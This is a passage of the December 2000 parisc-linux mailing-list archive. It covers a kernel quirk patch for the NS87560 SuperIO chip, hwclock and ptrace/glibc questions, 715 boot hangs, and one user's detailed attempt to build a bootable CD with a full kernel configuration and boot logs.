Original-Received: (qmail 21409 invoked from network); 19 Dec 2000 09:42:52 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 09:42:52 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 148JIJ-0004dE-00
	for parisc-linux@thepuffingroup.com; Tue, 19 Dec 2000 09:42:51 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8940


Wow, this is a really sucky chip :-)

OK, here's a first stab at some support for it.  Could someone with a
B/C/J `thousand' class machine please give it a try, and let me see the
relevant portions of their bootlog?

Obviously, this code only tries to set up the IRQ for the IDE driver
and doesn't attempt to address any of the other broken things this chip
requires, but it's architecturally in the right place.

It'd be really handy if I could get access to one of that class of machine
with remote console & remote rebooting facilities, but i should be near
a machine of that type in a couple of months anyway...

diff -u linux-cvs/drivers/pci/quirks.c linux-mine/drivers/pci/quirks.c
--- linux-cvs/drivers/pci/quirks.c	Fri Nov 10 21:43:18 2000
+++ linux-mine/drivers/pci/quirks.c	Tue Dec 19 09:27:28 2000
@@ -234,6 +234,25 @@
 	pci_read_config_word(dev, PCI_DEVICE_ID, &dev->device);
 }
 
+static void __init quirk_ns_87560(struct pci_dev *dev)
+{
+	switch (dev->device)
+	{
+		case PCI_DEVICE_ID_NS_87415:
+			break;
+		case PCI_DEVICE_ID_NS_87560_LIO:
+			{
+				struct pci_dev *ide_dev;
+				char irq;
+				ide_dev = pci_dev_b(dev->bus_list.prev);
+				pci_read_config_byte(dev, 0x6B, &irq);
+				ide_dev->irq = irq & 0xf;
+				printk("Assigned IRQ %d to IDE\n", ide_dev->irq);
+			}
+			break;
+	}
+}
+
 /*
  *  The main table of quirks.
  */
@@ -269,6 +288,7 @@
 	{ PCI_FIXUP_HEADER,	PCI_VENDOR_ID_AL,	PCI_DEVICE_ID_AL_M7101,		quirk_ali7101_acpi },
  	{ PCI_FIXUP_HEADER,	PCI_VENDOR_ID_INTEL,	PCI_DEVICE_ID_INTEL_82371SB_2,	quirk_piix3_usb },
 	{ PCI_FIXUP_HEADER,	PCI_VENDOR_ID_INTEL,	PCI_DEVICE_ID_INTEL_82371AB_2,	quirk_piix3_usb },
+	{ PCI_FIXUP_HEADER,	PCI_VENDOR_ID_NS,	PCI_ANY_ID,	quirk_ns_87560 },
 	{ 0 }
 };
 

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Tue, 19 Dec 2000 10:46:40 -0500
Organization: The Puffins at Linuxcare
Lines: 26
Approved: news@gmane.org
Message-ID: <3A3F82E0.C0FB63D6@linuxcare.com>
References: <20001219094251.A17217@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619448 9104 80.91.229.3 (22 Nov 2014 01:24:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: adevries@linuxcare.com  Tue Dec 19 08:40:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA02275
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 08:40:46 -0700
Original-Received: (qmail 5190 invoked by uid 15267); 19 Dec 2000 15:43:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5167 invoked from network); 19 Dec 2000 15:43:44 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 15:43:44 -0000
Original-Received: (qmail 22168 invoked from network); 19 Dec 2000 15:43:44 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 19 Dec 2000 15:43:44 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8941

Matthew Wilcox wrote:
> 
> Wow, this is a really sucky chip :-)
> 
> OK, here's a first stab at some support for it.  Could someone with a
> B/C/J `thousand' class machine please give it a try, and let me see the
> relevant portions of their bootlog?

I've taken mkp's initial work on superio.c and added some stuff, but in
the end am confused by where we actually get the interrupt number from
the card.  There's no such register in function 1 (where the interrupts
ultimately end up) and both registers on function 0 and 2 return 0,
which I don't think is right.  I'd thought that PDC would have set this
up.  There's not much I can do at this point until we can have some of
Grant's attention.

In the meantime, I'll try booting with all of this on the C3k.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hwclock
Date: Tue, 19 Dec 2000 10:49:10 -0500
Organization: The Puffins at Linuxcare
Lines: 20
Approved: news@gmane.org
Message-ID: <3A3F8376.BF84A667@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619448 9106 80.91.229.3 (22 Nov 2014 01:24:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@linuxcare.com  Tue Dec 19 08:43:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA02546
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 08:43:18 -0700
Original-Received: (qmail 9306 invoked by uid 15267); 19 Dec 2000 15:46:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9296 invoked from network); 19 Dec 2000 15:46:14 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 15:46:14 -0000
Original-Received: (qmail 24040 invoked from network); 19 Dec 2000 15:46:14 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 19 Dec 2000 15:46:14 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8942


There's been some discussion on IRC about not always having to set the
clock when in userspace.  I had a quick look at it, and it shouldn't be
too hard.  We just need a parisc version of hwclock which calls the
PDC_TOD functions.

It should be reasonably easy to get this going, so if someone's looking
for an unintrusive and simple task, have a look at it.

hwclock is part of the ever-terrible utils-linux package, and you should
be able to use hwclock-ppc.c as a starting point.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/old boot problems...
Date: Tue, 19 Dec 2000 11:04:51 -0500
Organization: The Puffins at Linuxcare
Lines: 21
Approved: news@gmane.org
Message-ID: <3A3F8723.F761E8@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619449 9109 80.91.229.3 (22 Nov 2014 01:24:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@linuxcare.com  Tue Dec 19 08:58:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA03494
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 08:58:58 -0700
Original-Received: (qmail 1198 invoked by uid 15267); 19 Dec 2000 16:01:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1176 invoked from network); 19 Dec 2000 16:01:55 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 16:01:55 -0000
Original-Received: (qmail 2644 invoked from network); 19 Dec 2000 16:01:55 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 19 Dec 2000 16:01:55 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8943


Richard Hirst has the same problem on his 715/75 as I have on my lovable
715/50. When booting up, it just hangs after "an older box...".  

I know that 715/old machines have this, 715/new apparantly don't, and
712 are safe.  Has anyone noticed any other machines hanging at this
point?

The problem seems to be in inventory.c when we're scanning the functions
with pdc_system_map, and it hangs on mod=1 in
really_do_oldhw_inventory(). It's an easy fix, but I want the fix to
only address the machines that are affected.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc and ptrace
Date: Tue, 19 Dec 2000 18:22:57 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20001219182257.O7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619449 9112 80.91.229.3 (22 Nov 2014 01:24:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Tue Dec 19 11:26:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA04999
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 11:26:13 -0700
Original-Received: (qmail 9773 invoked by uid 15267); 19 Dec 2000 18:29:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9739 invoked from network); 19 Dec 2000 18:29:05 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 18:29:05 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1FCA0B005; Tue, 19 Dec 2000 18:22:57 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8944

I have a problem with ptrace.  The ptrace syscall for PTRACE_PEEK*
saves the result in *data (4th arg), whereas the man page says
it returns the result as the return value, and the 4th arg is
ignored.  userland things, like strace for example, expect the
man page behaviour.  I assumed glibc should be providing a wrapper
to translate from kernel to userland syntax, but our glibc doesn't
appear to do so.

I had a look at glibc and found the wrapper code in
sysdeps/unix/sysv/linux/ptrace.c but that isn't included in the
build.  Instead I end up with misc/ptrace.o being a raw syscall.
I then found sysdeps/unix/sysv/linux/hppa/syscalls.list and commented
out the ptrace line in there and rebuilt.  This time it looks like
misc/ptrace.o has the proper wrapper in it (although I havn't
actually tried to run it).

So, should I be fixing glibc (if removing that line is indeed a fix),
or should I be fixing our kernel source so the glibc wrapper isn't needed?
ia64, for example seems to fix it in the kernel, while sparc64 looks
like it uses the glibc wrapper.

(my strace port only works atm because it has its own wrapper, and
I'm trying to tidy that up).

Richard


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C110 - palinux-0.5.iso boot but...
Date: Tue, 19 Dec 2000 20:15:25 +0100
Lines: 510
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD8788@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619449 9114 80.91.229.3 (22 Nov 2014 01:24:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: JSO@europay.com  Tue Dec 19 12:14:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA05832
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 12:14:10 -0700
Original-Received: (qmail 21996 invoked by uid 15267); 19 Dec 2000 19:17:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21981 invoked from network); 19 Dec 2000 19:17:07 -0000
Original-Received: from mail.europay.com (HELO epirel991.europay.com) (193.75.200.45)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 19:17:07 -0000
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592ded509576fcdb@epirel991.europay.com> for <parisc-linux@thepuffingroup.com>;
 Tue, 19 Dec 2000 20:16:26 +0100
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <Z16L7PQ4>; Tue, 19 Dec 2000 20:14:37 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8945

Hello all,

I just download the palinux-0.5.iso.

But I only have graphical screen as console for a B180 or C110.
Also I have to rebuild the kernel and rebuild the CD.

I first abandon the idea to rebuild the tool chain on HP-UX :( , because I
reach to build a small x86 linux box.

I than download the xc-20001211 cross-compiler, the linux-20001218 and
palo-20001218.

I than follow recipe procedure paragraph 5 and paragraph 8 where I replace
ramdisk20000503-sercon.tgz with ramdisk20000503-sticon.tgz.

I then mount -o loop -t iso9660 PathTo/palinux-0.5.iso /PALINUX
I then copy the content of '/PALINUX' into MySubdir (cd /PALINUX; find .
-depth | cpio -mpduv MySubdir).

I change palo Makefile to boot from a ramdisk (and not from NFS as default)
as follow:

# Native PARISC/Linux Project Bootstrap Code
#
# Copyright (C) 2000 Hewlett Packard (Paul Bame,
bame@puffin.external.hp.com)
# Copyright (C) 1999 Jason Eckhardt <jle@cygnus.com>
#                    Helge Deller <deller@gmx.de>
#                    Christopher Beard <cjbeard@thepuffingroup.com>
#                    Alex deVries <adevries@thepuffingroup.com>
#

# This is here temporarily for folks who still have the old linux makefile
ifneq ($(strip ${TOPDIR}),)
    PA=${TOPDIR}
endif

# here is one which should work for nearly everyone, unless they
# have a different name for their linux tree:
ifeq ($(strip ${PA}),)
    PA := $(shell pwd)/../linux
endif

export PA

# Choose at most one of RAMDISK or NFSROOT below
#
# Set RAMDISK to a ramdisk image to in order to load the ramdisk on the
# boot medium and make the default kernel command line to use it
#
RAMDISK = ${PA}/ramdisk.bin

#
# Set NFSROOT to the IP address of your NFS root server to make
# a kernel command line to use NFS root.  This is incompatible with
# RAMDISK above.  Though you can have both a ramdisk and an NFS root,
# as far as palo is concerned anyway, this Makefile doesn't help you
# do that and I'm not sure the kernel's very good at it right now either.
#
# NFSROOT = 10.10.10.2

ifneq ($(strip ${RAMDISK}),)
    PALOSTUFF=-r ${RAMDISK}
    ROOT=root=/dev/ram initrd=0/ramdisk
endif

ifneq ($(strip ${NFSROOT}),)
    PALOSTUFF=
    ROOT=root=/dev/nfs nfsroot=${NFSROOT}
endif
...


I then follow cvs/palo/README.html procedure to create a ISO9660
Bootable/Mountable CD-ROMS

In detail:
cp -f ~/source/linux/vmlinux MySubdir/boot
cp -f ~/source/linux/System.map MySubdir/boot
cp -f ~/palo/iplboot MySubdir/boot

I rebuild the iso image as follow in palo build subdir (logicaly
~/source/palo):
mkisofs -r -R -l -L -hide-rr-moved -o ./palinux.raw /=Mysubdir/
(as well as would do with xcdroast or gcombust)

And make image bootable with:
./palo/palo -k ~/source/linux/vmlinux -b iplboot \
-c '0/vmlinux ROOT=/ TERM=linux root=/dev/scd0' -C ./palinux.raw

Then burn the CD and boot it with cdrom drive at scsi id 0 (because of
/dev/scd0). Is it right?

The first test on B180 crash.

I then read some Questions and answers in mailing lists and saw that some
advises regarding kernel configuration.
I do so run a make menu config and obtain the following .config file:

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set

#
# Code maturity level options
#
# CONFIG_EXPERIMENTAL is not set

#
# General options
#
# CONFIG_SMP is not set
# CONFIG_KWDB is not set
CONFIG_GSC=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_CHASSIS_LCD_LED=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_BINFMT_SOM=y
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set

#
# Parallel port support
#
CONFIG_PARPORT=y
# CONFIG_PARPORT_PC is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
CONFIG_UNIX=y
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set

#
# SCSI low-level drivers
#
CONFIG_SCSI_LASI=y
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set

#
# Network device support
#
CONFIG_NETDEVICES=y
CONFIG_LASI_82596=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
# CONFIG_DE4X5 is not set
CONFIG_TULIP=y
# CONFIG_DGRS is not set
# CONFIG_EEPRO100 is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_8139TOO is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_HAMACHI is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
# CONFIG_SERIAL_CONSOLE is not set
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=y
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_SYSV_FS_WRITE is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
CONFIG_NFS_FS=y
# CONFIG_NFS_V3 is not set
CONFIG_ROOT_NFS=y
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_MOUNT_SUBDIR is not set
# CONFIG_NCPFS_NDS_DOMAINS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_NLS is not set

#
# Sound Drivers
#
# CONFIG_SOUND is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_STI is not set
# CONFIG_FBCON_ADVANCED is not set
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

Then I burn another CD and obtain something more interesting but not yet
satisfactory:

On B180:
...
Sendind BOOTP request....timeout!
...
VFS: Mounted root (iso9660 filesystem) readonly
Warning: unable to open initial consol

then it continue to load Linux but nothing could be seen. A CTRL ATL DEL is
well trap and the system reboot (it is not a normal behavior init do not run
on a HP workstation)
The PATH CON being GRAPHICS(0) have you some recommendation for this case ?

And why does it launch this BOOTP request 

On the C110:

the initial process start then the screen was clear some time (about 2
minutes) (I suspect it also launch the BOOTP request ?) then comes:
Init: version 2.78 booting
Init: entering runlevel: 2
Setting up ramdisk4096+0 records in
4096+0 records out
...
Writing superblocks and filesystem according information: done

And nothing more append.

For this case it sure init start at run level 2 (A CTRL ATL DEL is also well
trap and the system reboot).
But doesn't it give not a prompt? What do I wrong?

All advises are well come?

Thanks in advance for help,
	Joel

PS: At kernel compile time I notice something I am not use to see as
warning:
...
hppa-linux-gcc -D__KERNEL__ -I~/source/linux-20001218/include -Wall
-Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing
-D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls
-mschedule=7200 -mdisable-fpregs -fno-strict-aliasing -ffunction-sections
-c -o sysctl.o sysctl.c
In file included from ~/source/linux-20001218/include/linux/nfs_fs.h:17,
                 from sysctl.c:37:
~/source/linux-20001218/include/linux/sunrpc/debug.h:57:57: warning: nothing
can be pasted after this token
....

Some explanation?


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc and ptrace
Date: 19 Dec 2000 20:59:49 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <d366kg5gi2.fsf@lxplus015.cern.ch>
References: <20001219182257.O7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619450 9120 80.91.229.3 (22 Nov 2014 01:24:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
